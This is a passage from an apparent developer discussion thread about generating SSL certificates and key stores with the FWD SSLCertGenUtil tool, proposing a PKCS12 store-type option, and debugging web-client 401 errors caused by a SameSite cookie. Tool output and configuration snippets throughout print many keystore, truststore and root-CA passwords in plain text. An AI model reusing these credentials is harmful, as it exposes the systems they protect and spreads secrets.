6ADAgECAgMnx5kwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UECAwCR0ExCzAJBgNVBAYTAlVTMQ4wDAYDVQQLDAVIb3RlbDETMBEGA1UEBwwKQWxwaGFyZXR0YTETMBEGA1UECgwKR29sZGVuQ29kZTEnMCUGA1UEAwweaG90ZWwtcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MB4XDTI1MTAxNTIwMDIyN1oXDTM1MTAxNTIwMDIyN1owaDELMAkGA1UECAwCR0ExCzAJBgNVBAYTAlVTMQ4wDAYDVQQLDAVIb3RlbDETMBEGA1UEBwwKQWxwaGFyZXR0YTETMBEGA1UECgwKR29sZGVuQ29kZTESMBAGA1UEAwwJbG9jYWxob3N0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAltsWX1B1HxvifBwrutAyOjYU1oP/370Hsc34+c/KcOi8LSKPX1zG/DxUIZdHj5isWTMOnsJQfRDfHS+vqj5UaRSFv8MyUlTYA2wJ5bOjeswHexia1D3NNCbBZ03LuT3FZKx16UltCm09XiuhZ4leVJOBkfQ5OvvQnjcxNRetb6GTJ07riiaAN3eC9kQtyajhWYLJzctuvv8IR3Z/uNuDEdL06HLgZd9wVc2pXOHQLYXDrk7cOLeAv276vILB1GX8II6QVo8onbCXUIcaYobqg/22EHShhSGCQ0er6ZNROB/x538B/OU6JwF+rdSmfiAawdKRHAB/wM89D6DUgozEXwIDAQABo4H8MIH5MIGzBgNVHSMEgaswgaiAFAzbw/GFfx7JnB/1LgJr5XtTY7+XoYGBpH8wfTELMAkGA1UECAwCR0ExCzAJBgNVBAYTAlVTMQ4wDAYDVQQLDAVIb3RlbDETMBEGA1UEBwwKQWxwaGFyZXR0YTETMBEGA1UECgwKR29sZGVuQ29kZTEnMCUGA1UEAwweaG90ZWwtcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5ggwIG1QYhUji2rs7vL4wHQYDVR0OBBYEFME/GcVAvitJ10okGFaEzl7omljIMAwGA1UdEwEB/wQCMAAwFAYDVR0RBA0wC4IJbG9jYWxob3N0MA0GCSqGSIb3DQEBCwUAA4IBAQBrBjOdTqXtxP7980nxHpI04j8RszSJCYtffr2Ww4PyLpTvDX9pivs3igmZqMp8Mhss2UtmbteHRBsroJM9Cc1s7ImDq/RNeEFvfRI0jQMD3NNpKeWqOKS6nVdCt1XX68hIGYiKfqDW7qYYsTGqOKx18GCiBZhiuB9NBBGTm8PMTICX7h40ZkzILpuTVyi/WvOux1cPixtyd/6QFh2CppQJeZxYvDIKWhwdOkyUcFTAmirLMcwjSyaUczX1XIzjjIkmCMKmJU4+HlxRLuivdOfpiaNNcCyjRSP+s0zy4B9iDMo3ZMfTf4PNf3L+mi41zaAXNHu6FpPjrLTBWfxHwn4AMnFbg3Kn0O+guM7JROzeGJVVqN0=
      SECURITY:CERTIFICATE:VALIDATE = true
      SECURITY:TRUST_MGR:DISABLE = false
      SECURITY:TRANSPORT:REFRESH = true
      ACCESS:PASSWORD:TRUSTSTORE = 8FJdk4uFKhjXk>E5cPA^uY3i#d@nW4CdG686

We always have the option to minimize the number of values, and have other values derive from the configured ones, for example, the broker_process_name could be the broker_name with _process appended to the end.

Yes, calculate values where you can.

The access key info may be created "on-the-fly" via a call to SSLCertGenUtil, and extracted from the log file. But should that be done everytime, or just a onetime thing and the prepare_dir.json be saved off... Constantin designed similar for radius's configuration, with prepare_env.sh utilizing a pre-configured JSON for the rest of the configuration.

Design it so that it is separate and can be a one-time thing. That gives us maximum flexibility. This makes it less monolithic. That is generally a very good thing.

Is there any benefit to making this capability separate from prepare_dir.sh so that it could be run separately and "added" to an existing directory.xml? Or should we build directory.xml in completeness each time?

I'm not sure about this. To the degree that this is a natural implementation choice, then it is a good thing because we will benefit from separation of concerns. But the concept of adding this to an existing directory is not likely to be used.

Another possible issue is that FWD generates certificate stores using the following proprietary format:

keytool -list -keystore broker1-private-key.store
Enter keystore password:  
Keystore type: jks
Keystore provider: SUN

Your keystore contains 1 entry

broker1, Oct 15, 2025, PrivateKeyEntry, 
Certificate fingerprint (SHA-256): 2D:DB:AA:A5:EC:C6:74:E9:43:FD:83:6C:9B:FA:BD:30:D9:F2:A3:9A:E0:9F:C6:0D:99:2F:F1:B5:FB:04:03:C1

Warning:
The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore broker1-private-key.store -destkeystore broker1-private-key.store -deststoretype pkcs12".

I followed the ssl_certs_log output to generate my keys and key stores that you had in your server2 directory. Should there have been other options added to the command line? Like -C or --reuse-ca so as to reuse the root CA? I must admit, the parameters to SSLCertGenUtil can be intimidating!

I annotated where values from the output should get set in the client.xml file.

sbi@am:~/projects/testcases/simple/server2$ java -classpath ../../uast/p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil directory.xml
Initializing service for directory directory.xml...
Reading company configuration...
Using 'US' for [C] Country Code.
Using 'Atlanta' for [L] Locality (city, etc).
Using 'Golden Code Development Corporation' for [O] Organization.
Using 'Information Technology' for [OU] Organization Unit.
Using 'Georgia' for [ST] State or Province Name.
Using 10 years for validity.
Enter RSA key strength (in bits), greater or equal than 2048 (blank for default 2048): 
Enter RSA public exponent, blank for default (65337): 
Adding account /security/accounts/processes/standard
Adding account /security/accounts/processes/broker1_process
Adding account /security/accounts/users/bogus
Account /security/accounts/users/admin ignored - no alias is defined
Account /security/accounts/users/yqo8su574us3z676 ignored - no alias is defined
Account /security/accounts/users/h7y287c5yp5pc8r7 ignored - no alias is defined
Account /security/accounts/users/31k46f97zr0ztwd6 ignored - no alias is defined
Account /security/accounts/users/8bw98ap5y85c7qt1 ignored - no alias is defined
Account /security/accounts/users/t02360s7gkd7lwg7 ignored - no alias is defined
Account /security/accounts/users/h0z7q14zz98wxj17 ignored - no alias is defined
Account /security/accounts/users/vi0y3axn5s9239a2 ignored - no alias is defined
Account /security/accounts/users/3m6u73sr98dq4qc6 ignored - no alias is defined
Re-use the encryption passwords currently in the directory (yes/no): no
Re-use the root CA currently in the directory (yes/no): no
Generating root CA using [p2j-root] alias...
Generating certificate for account with alias [broker1]...
Generating certificate for account with alias [shared]...
Generating certificate for server with alias [standard]...
Encrypt the in-directory private keys using the same password (yes/no): yes
Private key for root CA [p2j-root] was encrypted using the [~Kl4OAY4UTBKAbFh&_A6B6vEoY041R9!] password and the password was NOT SAVED in the directory.  Losing this password will prohibit using the root CA to issue new certificates.
Adding certificate for alias [p2j-root] to the /security/certificates/cas/p2j-root node...
Private key for alias [broker1] was encrypted using the [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password and saved in the /security/certificates/private-keys/broker1 node.
Use the access:password:keyentry-broker1 key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/broker1 node from the directory.
Private key for alias [shared] was encrypted using the [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password and saved in the /security/certificates/private-keys/shared node.
Use the access:password:keyentry-shared key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/shared node from the directory.
Private key for alias [standard] was encrypted using the [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password and saved in the /security/certificates/private-keys/standard node.
Use the access:password:keyentry-standard key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/standard node from the directory.
Adding certificate for alias [broker1] to the /security/certificates/peers/broker1 node...
Adding certificate for alias [shared] to the /security/certificates/peers/shared node...
Adding certificate for alias [standard] to the /security/certificates/peers/standard node...
Save the account private keys in external key-store(s) (yes/no): yes
Save the private keys in the same key store (yes/no): no
The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [XL57uunOAod4(7xniwAg6e`1a0Su~)g8DRmX] and key-entry password [g8j4=mxVd*063QskHNuRfPJ6swd_2<JEgQX6]. <password keystore=... /> and <password keyentry=... />
The private key for certificate [shared] was saved in the [shared-private-key.store] key store, using store password [P40txe8HZexWxH4x%P6X8o7KPk&u4tCPM_P>] and key-entry password [kW9MNr8S<)j-8xWeq8ZTzl5t-QKJ7B2Yh1nI].
Save the server private keys in external key-store(s) (yes/no): yes
Save the private keys in the same key store (yes/no): no
The private key for certificate [standard] was saved in the [standard-private-key.store] key store, using store password [&QF4g&TSaA6AHBAo1dMw7%rEvI7=332dsGJE] and key-entry password [5seEse61i7HI1P3?pSAQHDaU4=2XaY`LbW^s].
Save servers' certificates in an external key store (yes/no): yes
Include the root CA certificate, to use this store as a trust store (yes/no)? yes
Enter key store file name: srv-certs.store
The servers' certificates [standard] were saved in the [srv-certs.store] key store, using password [d61pi96tP8MS!T^87Efcjyl1QtPs_EgvIKZ!]. <password truststore=.../>
Save the root CA private key in an external key store (yes/no): yes
Enter key store file name: root-ca-key.store
The root CA's private key and certificate were saved in the [root-ca-key.store] store.
The key store was encrypted using the [75EkRBMEb4OC%0oHG-lAoEV37g4Yq))AqD0k] password, while the root CA's private key was encrypted using the [2&1XgqEw7~ezokkT*fz8aDM7vTIk3FwX#8r0] password.
Done.
WARNING! Any configuration set at the client.xml or server.xml files or via bootstrap config arguments will have priority over the in-directory keys or certificates.
WARNING! The private key encryption passwords for all the account certificates are saved unencrypted in the directory.  The root CA's private key can be safely deleted, if it is not required to issue other certificates using this CA.
WARNING! All private keys are encrypted using the same [5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q] password. If needed, delete the 'key-password' nodes from the directory manually, and set this password using the access:password:masterkeyentry bootstrap config at server startup. <password masterkeyentry=... />

The above values go into the client.xml:
  <access>
    <password truststore="d61pi96tP8MS!T^87Efcjyl1QtPs_EgvIKZ!" />
    <password keystore="XL57uunOAod4(7xniwAg6e`1a0Su~)g8DRmX" />
    <password keyentry="g8j4=mxVd*063QskHNuRfPJ6swd_2&lt;JEgQX6"/>
    <password masterkeyentry="5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q" />
  </access>

Sergey Ivanovskiy wrote:

Another possible issue is that FWD generates certificate stores using the following proprietary format:
[...]

The SSLCertGenUtil.createEmptyStore() method could be updated to have a version receiving String type, and include that in the KeyStore.getInstance(type) instead of hard coding to "JKS":

   static KeyStore createEmptyStore()
   throws SSLCertGenException
   {
      try
      {
         KeyStore ks = KeyStore.getInstance("JKS");
         ks.load(null, null);
         return ks;
      }
      catch (NoSuchAlgorithmException | CertificateException | IOException | KeyStoreException e)
      {
         throw new SSLCertGenException(e);
      }
   }

There are other places where this method is used (ManagedWebServer and SecurityCache). Would there would be issues if we changed the default to "PKCS12"? If the utility received a parameter for specifying the store type, would users of the store be able to work without any changes?

Roger, yes, you are correct. My message was just an idea but you are correct that it cannot be used from the box, it needs to change the code.

Sergey Ivanovskiy wrote:

I tried to compare output parameters dumped into web client log for local spawned web client and remotely spawned web client, these parameters should be the same but I have no idea why there is a difference in ACCESS:PASSWORD:TRUSTSTORE for these two types of local and remote start:
Locally started web client:
[...]
and remotely started web client:
[...]

According to the code the certificate store for the web client is build on the fly from the existed store with new randomly generated password, so ACCESS:PASSWORD:TRUSTSTORE should be "random" between clients.

Sergey Ivanovskiy wrote:

According to the code the certificate store for the web client is build on the fly from the existed store with new randomly generated password, so ACCESS:PASSWORD:TRUSTSTORE should be "random" between clients.

So this should be in the broker1_client.xml?

  <access>
    <password truststore="random" />
...

Does it help to allow an option to SSLCertGenUtil, such as below?

=== modified file 'src/com/goldencode/p2j/security/SSLCertGenUtil.java'
--- old/src/com/goldencode/p2j/security/SSLCertGenUtil.java     2024-05-14 08:45:40 +0000
+++ new/src/com/goldencode/p2j/security/SSLCertGenUtil.java     2025-10-21 18:32:11 +0000
@@ -310,10 +310,10 @@
       // 3. key store for the private key for each non-serverprocess and user accounts
       // 4. cert store with the process and user certificates

-      trustCertStore = createEmptyStore();
-      trustKeyStore  = createEmptyStore();
-      accCertStore  = createEmptyStore();
-      accKeyStore   = createEmptyStore();
+      trustCertStore = createEmptyStore(inputParameters.storeType);
+      trustKeyStore  = createEmptyStore(inputParameters.storeType);
+      accCertStore  = createEmptyStore(inputParameters.storeType);
+      accKeyStore   = createEmptyStore(inputParameters.storeType);
    }

    /**
@@ -616,7 +616,7 @@
       KeyStore pkStore;
       try
       {
-         pkStore = createEmptyStore();
+         pkStore = createEmptyStore(inputParameters.storeType);

          if (!reusePasswords || (webPrivateKeyPassword == null))
          {
@@ -785,7 +785,7 @@

       pkFile = String.format("%s-private-key.store", alias);

-      pkStore = createEmptyStore();
+      pkStore = createEmptyStore(inputParameters.storeType);

       try
       {
@@ -848,7 +848,7 @@

          Key rootKey = this.trustKeyStore.getKey(rootCAAlias, kepass.toCharArray());

-         KeyStore store = createEmptyStore();
+         KeyStore store = createEmptyStore(inputParameters.storeType);
          store.setKeyEntry(rootCAAlias,
                            rootKey,
                            kepass.toCharArray(),
@@ -909,7 +909,7 @@
       }
       try
       {
-         KeyStore store = createEmptyStore();
+         KeyStore store = createEmptyStore(inputParameters.storeType);
          String firstAlias = null;
          for (String alias : serverAliases)
          {
@@ -1061,7 +1061,7 @@
                pkFile = String.format("%s-private-key.store", alias);
             }

-            pkStore = createEmptyStore();
+            pkStore = createEmptyStore(inputParameters.storeType);
          }

          try
@@ -1880,6 +1880,33 @@
    }

    /**
+    * Create an empty store of type passed, to hold either private keys or certificates.
+    * 
+    * @param    type
+    *           Format of the store to create, such as "JKS" or "PKCS12" 
+    *
+    * @return   An empty {@link KeyStore} instance.
+    * 
+    * @throws   SSLCertGenException
+    *           If the store could not be generated.
+    */
+   static KeyStore createEmptyStore(StoreType type)
+   throws SSLCertGenException
+   {
+      try
+      {
+         String t = (type == StoreType.PKCS12) ? "PKCS12" : "JKS"; 
+         KeyStore ks = KeyStore.getInstance(t);
+         ks.load(null, null);
+         return ks;
+      }
+      catch (NoSuchAlgorithmException | CertificateException | IOException | KeyStoreException e)
+      {
+         throw new SSLCertGenException(e);
+      }
+   }
+
+   /**
     * Create a random 256-bit password to be used as an AES encryption key.
     * <p>
     * If {@link #reusePasswords} is on, and there is a password in the directory, that will be
@@ -1984,6 +2011,15 @@
    }

    /**
+    * The enumeration type for key store types
+    */
+   enum StoreType
+   {
+      JKS,
+      PKCS12
+   }
+   
+   /**
     * Defines option names to load external CA certificates.
     */
    enum ExternalCertificates
@@ -2375,5 +2411,14 @@
               forbids={"-C", "-L", "-bal"},
               usage="The registration contact information.")
       public String contact;
+
+      /**
+       * The store type.
+       */
+      @Option(name="-stype",
+              aliases="--store-type",
+              usage="The store type, JKS or PKSC12.")
+      public StoreType storeType = StoreType.JKS;
+      
    }
 }

No, this diff is not enough as you noted that KeyStore.getInstance("JKS"); is used in the code of SecurityManager and there are another code.

By random, I meant that srv-certs.store is used to get target certificates and then the new trusted store is created with different access passwords (created randomly) but in order to read srv-certs.store we need these entries for the broker client configuration

      "security_truststore_filename": "srv-certs.store",
      "security_keystore_filename": "broker1-private-key.store",
      "broker_name_alias": "broker1",
      "access_truststore": "y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd",
      "access_keystore": "(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O",
      "access_keyentry": "dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx",
      "access_masterkeyentry": "7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x" 

• ehotel
• embedded
• shared
• standard

I ran java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -P YES -dir directory.xml so as to reuse root CA from the directory, and maintain the same passwords. Wouldn't that be a better method to add the broker to the configuration?

I got this output:

Initializing service for directory directory.xml...
Reading company configuration...
Using 'US' for [C] Country Code.
Using 'Alpharetta' for [L] Locality (city, etc).
Using 'GoldenCode' for [O] Organization.
Using 'Hotel' for [OU] Organization Unit.
Using 'GA' for [ST] State or Province Name.
Using 10 years for validity.
Adding account /security/accounts/processes/standard
Adding account /security/accounts/processes/ehotel
Adding account /security/accounts/processes/embedded
Adding account /security/accounts/processes/broker1_process
Adding account /security/accounts/users/bogus
WARNING: alias shared is set for multiple accounts!
Account /security/accounts/users/hotel ignored - no alias is defined
Account /security/accounts/users/244S6d0lo9P08LXQ ignored - no alias is defined
Account /security/accounts/users/003MKDj8r084Xy2h ignored - no alias is defined
Account /security/accounts/users/k45Tk59647dvsVj0 ignored - no alias is defined
Account /security/accounts/users/5od6R3c558dDU54S ignored - no alias is defined
Account /security/accounts/users/3JO65Rvk1t4wN773 ignored - no alias is defined
Account /security/accounts/users/RwI24S30gX029M8p ignored - no alias is defined
Account /security/accounts/users/68Dv3c76kR98WqL7 ignored - no alias is defined
Account /security/accounts/users/GyV89H01dxn02N24 ignored - no alias is defined
Enter the target P2J server identifier (by default "standard"):
Enter the root CA private-key encryption password: ^u0mrGn)o2X5nor109+KAvt&teTCn2v7
Re-using root CA using [hotel-root] alias...
Generating certificate for account with alias [broker1]...
Generating certificate for account with alias [ehotel]...
Generating certificate for account with alias [embedded]...
Generating certificate for account with alias [shared]...
Generating certificate for server with alias [standard]...
Private key for alias [broker1] was encrypted using the [7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x] password and saved in the /security/certificates/private-keys/broker1 node.
Use the access:password:keyentry-broker1 key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/broker1 node from the directory.
Adding certificate for alias [broker1] to the /security/certificates/peers/broker1 node...
Certificate for alias [broker1] has checksum [5e87d270b0a124fc211060cf102d5d1b]
Private key for alias [ehotel] was encrypted using the [KmO`8b3K5dwAN>2w4D4^>61Cplojjtjw] password and saved in the /security/certificates/private-keys/ehotel node.
Use the access:password:keyentry-ehotel key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/ehotel node from the directory.
Adding certificate for alias [ehotel] to the /security/certificates/peers/ehotel node...
Certificate for alias [ehotel] has checksum [f7abf276492da86f64f493e7131a4f22]
Private key for alias [embedded] was encrypted using the [09Ed64TfKyPHw(>QVI4zhMUfX5yS)$95] password and saved in the /security/certificates/private-keys/embedded node.
Use the access:password:keyentry-embedded key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/embedded node from the directory.
Adding certificate for alias [embedded] to the /security/certificates/peers/embedded node...
Certificate for alias [embedded] has checksum [d2c16411172401796bf3131ea75dd529]
Private key for alias [shared] was encrypted using the [mzDoMKiU@3B40EgbHEu^4d~W5Z~09Xv5] password and saved in the /security/certificates/private-keys/shared node.
Use the access:password:keyentry-shared key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/shared node from the directory.
Adding certificate for alias [shared] to the /security/certificates/peers/shared node...
Certificate for alias [shared] has checksum [340fc696eab9711873a8cbb685a64bee]
Private key for alias [standard] was encrypted using the [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5] password and saved in the /security/certificates/private-keys/standard node.
Use the access:password:keyentry-standard key to set this password in the server's bootstrap config file and delete  the /security/certificates/private-keys/standard node from the directory.
Adding certificate for alias [standard] to the /security/certificates/peers/standard node...
Certificate for alias [standard] has checksum [e24c8a0e8d72ecd38c98d19336b69919]
The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x] and key-entry password [7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x].
The private key for certificate [ehotel] was saved in the [ehotel-private-key.store] key store, using store password [KmO`8b3K5dwAN>2w4D4^>61Cplojjtjw] and key-entry password [KmO`8b3K5dwAN>2w4D4^>61Cplojjtjw].
The private key for certificate [embedded] was saved in the [embedded-private-key.store] key store, using store password [09Ed64TfKyPHw(>QVI4zhMUfX5yS)$95] and key-entry password [09Ed64TfKyPHw(>QVI4zhMUfX5yS)$95].
The private key for certificate [shared] was saved in the [shared-private-key.store] key store, using store password [mzDoMKiU@3B40EgbHEu^4d~W5Z~09Xv5] and key-entry password [mzDoMKiU@3B40EgbHEu^4d~W5Z~09Xv5].
The private key for certificate [standard] was saved in the [standard-private-key.store] key store, using store password [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5] and key-entry password [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5].
The servers' certificates [standard] were saved in the [srv-certs.store] key store, using password [Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5].
The root CA's private key and certificate were saved in the [root-ca-pk.store] store.
The key store was encrypted using the [1CL2TGS<3Yh$O%cfM!K1T23eNSeU5lOG9lkI] password, while the root CA's private key was encrypted using the [^u0mrGn)o2X5nor109+KAvt&teTCn2v7] password.
Done.
WARNING! Any configuration set at the client.xml or server.xml files or via bootstrap config arguments will have priority over the in-directory keys or certificates.
WARNING! The private key encryption passwords for all the account certificates are saved unencrypted in the directory.  The root CA's private key can be safely deleted, if it is not required to issue other certificates using this CA.

If I were to extract values to put into the broker1_client.xml, I think I would get:

  <access>
    <password truststore="Xhqv5d42WNugrJ`^k@6_m4wjyk1jW3g5" />
    <password keystore="7sN5iwk$E4W1cJ&gt;0M~ID&gt;E2hTNt1ZI0x" />
    <password keyentry="7sN5iwk$E4W1cJ&gt;0M~ID&gt;E2hTNt1ZI0x"/>
    <password masterkeyentry="^u0mrGn)o2X5nor109+KAvt&amp;teTCn2v7" />
  </access>

The output on the client is:

INFO: Spawn process started with pid 6194.
25/10/21 17:11:44.435-0400 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/21 17:11:44.802-0400 |  SEVERE | com.goldencode.p2j.main.NativeSecureConnection | ThreadName:main | Problem retrieving the spawn command, using these settings: port [3333] host [fwddev1] alias [standard] UUID [400e15ae-3d7c-4a57-b08e-5dfa4d2d63d2]
java.net.SocketException: Socket is closed
        at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238)
        at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129)
        at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117)
        at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1315)
        at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
        at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:156)
SEVERE: -107 method:CallStaticObjectMethod(command) 

I do not know why you have this result but you can try to remove this setting

<password masterkeyentry="^u0mrGn)o2X5nor109+KAvt&amp;teTCn2v7" />

My plan is to add "Content-Security-Policy" header with the corresponding directives to permit cross origin loading resources and scripts working. I did not succeed in this way but got partially loaded main-frame page index.html so the certificates are not the root cause issue. For me clients are remotely spawned but the browser prevents iframe to load the target content.

At this moment I got the following jconsole logs and should investigate its root cause. Why were these GET requests rejected?

ShowHide

09:38:44.418 Navigated to https://192.168.100.28:7443/gui
09:38:55.122 gui:243 The launched client has origin: https://localhost:7449
09:38:55.124 VM314 fwd_sdk.js:175 XHR finished loading: POST "https://192.168.100.28:7443/gui".
sendAuthRequest @ VM314 fwd_sdk.js:175
onLoginClick @ VM314 fwd_sdk.js:245
09:38:55.243 index.html?token=03f022242db7d11a0df40141cbb68348:58  GET https://localhost:7449/dojo-toolkit/dijit/themes/claro/claro.css net::ERR_ABORTED 401 (Unauthorized)
09:38:55.252 index.html?token=03f022242db7d11a0df40141cbb68348:59  GET https://localhost:7449/dojo-toolkit/dojox/form/resources/UploaderFileList.css net::ERR_ABORTED 401 (Unauthorized)
09:38:55.265 index.html?token=03f022242db7d11a0df40141cbb68348:62  GET https://localhost:7449/common/p2j.client.css net::ERR_ABORTED 401 (Unauthorized)
09:38:55.268 index.html?token=03f022242db7d11a0df40141cbb68348:61  GET https://localhost:7449/dojo-toolkit/dojox/grid/enhanced/resources/EnhancedGrid_rtl.css net::ERR_ABORTED 401 (Unauthorized)
09:38:55.269 index.html?token=03f022242db7d11a0df40141cbb68348:63  GET https://localhost:7449/common/p2j.ospass.css net::ERR_ABORTED 401 (Unauthorized)
09:38:55.270 index.html?token=03f022242db7d11a0df40141cbb68348:60  GET https://localhost:7449/dojo-toolkit/dojox/grid/enhanced/resources/claro/EnhancedGrid.css net::ERR_ABORTED 401 (Unauthorized)
09:38:55.273 index.html?token=03f022242db7d11a0df40141cbb68348:67  GET https://localhost:7449/gettext.js/gettext.iife.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.276 index.html?token=03f022242db7d11a0df40141cbb68348:71  GET https://localhost:7449/common/p2j.sound.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.277 index.html?token=03f022242db7d11a0df40141cbb68348:70  GET https://localhost:7449/common/p2j.logger.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.278 index.html?token=03f022242db7d11a0df40141cbb68348:72  GET https://localhost:7449/client/p2j.strokes.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.279 index.html?token=03f022242db7d11a0df40141cbb68348:73  GET https://localhost:7449/client/p2j.canvas_renderer.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.281 index.html?token=03f022242db7d11a0df40141cbb68348:75  GET https://localhost:7449/client/p2j.canvas_renderer_webgl.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.282 index.html?token=03f022242db7d11a0df40141cbb68348:78  GET https://localhost:7449/client/p2j.screen.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.283 index.html?token=03f022242db7d11a0df40141cbb68348:79  GET https://localhost:7449/common/p2j.socket.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.285 index.html?token=03f022242db7d11a0df40141cbb68348:77  GET https://localhost:7449/client/p2j.mouse.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.286 index.html?token=03f022242db7d11a0df40141cbb68348:80  GET https://localhost:7449/common/p2j.keymap.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.291 index.html?token=03f022242db7d11a0df40141cbb68348:83  GET https://localhost:7449/common/p2j.clipboard.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.292 index.html?token=03f022242db7d11a0df40141cbb68348:82  GET https://localhost:7449/client/p2j.clipboard_helpers.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.293 index.html?token=03f022242db7d11a0df40141cbb68348:84  GET https://localhost:7449/common/p2j.fonts.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.294 index.html?token=03f022242db7d11a0df40141cbb68348:86  GET https://localhost:7449/client/p2j.perf_tests.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.301 index.html?token=03f022242db7d11a0df40141cbb68348:65  GET https://localhost:7449/dojo-toolkit/dojo/dojo.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.302 index.html?token=03f022242db7d11a0df40141cbb68348:69  GET https://localhost:7449/common/p2j.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.302 index.html?token=03f022242db7d11a0df40141cbb68348:201  GET https://localhost:7449/common/p2j.ospass.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.303 index.html?token=03f022242db7d11a0df40141cbb68348:87  GET https://localhost:7449/common/p2j.network_socket.js 401 (Unauthorized)
09:38:55.308 index.html?token=03f022242db7d11a0df40141cbb68348:76  GET https://localhost:7449/client/p2j.virtual_desktop.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.309 index.html?token=03f022242db7d11a0df40141cbb68348:85  GET https://localhost:7449/common/p2j.remote.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.310 index.html?token=03f022242db7d11a0df40141cbb68348:74  GET https://localhost:7449/client/p2j.strokes.webgl.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.311 index.html?token=03f022242db7d11a0df40141cbb68348:81  GET https://localhost:7449/common/p2j.keyboard.js net::ERR_ABORTED 401 (Unauthorized)
09:38:55.311 index.html?token=03f022242db7d11a0df40141cbb68348:90 Uncaught ReferenceError: require is not defined
    at index.html?token=03f022242db7d11a0df40141cbb68348:90:7
(anonymous) @ index.html?token=03f022242db7d11a0df40141cbb68348:90
09:38:55.317 index.html?token=03f022242db7d11a0df40141cbb68348:1 [DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) <input type=​"password" id=​"change-os-pass-current-pass" name=​"change-os-pass-current-pass" autocomplete=​"current-password">​
09:38:55.317 index.html?token=03f022242db7d11a0df40141cbb68348:1 [DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) <input type=​"password" id=​"change-os-pass-new-pass1" name=​"change-os-pass-new-pass1" autocomplete=​"new-password">​
09:38:55.317 index.html?token=03f022242db7d11a0df40141cbb68348:1 [DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) <input type=​"password" id=​"change-os-pass-new-pass2" name=​"change-os-pass-new-pass2" autocomplete=​"new-password">​
09:38:55.325 index.html?token=03f022242db7d11a0df40141cbb68348:204  GET https://localhost:7449/common/beep.wav 401 (Unauthorized)
09:38:55.331 index.html?token=03f022242db7d11a0df40141cbb68348:204  GET https://localhost:7449/common/beep.mp3 401 (Unauthorized)
09:38:55.336 index.html?token=03f022242db7d11a0df40141cbb68348:204  GET https://localhost:7449/common/beep.ogg 401 (Unauthorized)

Sergey Ivanovskiy wrote:

At this moment I got the following jconsole logs and should investigate its root cause. Why were these GET requests rejected?

We are looking at the connection between the web browser and the jetty server running on the broker, correct? All those seem to be authorization errors. I am not familiar with this area at all. Should the browser import a certificate?

No, we are looking at the connection with java web client and jscript web client.

Sergey Ivanovskiy wrote:

At this moment I got the following jconsole logs and should investigate its root cause. Why were these GET requests rejected?

ShowHide

The root cause was that cookie was not sent with each sub request due to SameSite=Strict policy of authentication cookie. Tomorrow I will commit my changes for remote spawner.

Sergey Ivanovskiy wrote:

The root cause was that cookie was not sent with each sub request due to SameSite=Strict policy of authentication cookie. Tomorrow I will commit my changes for remote spawner.

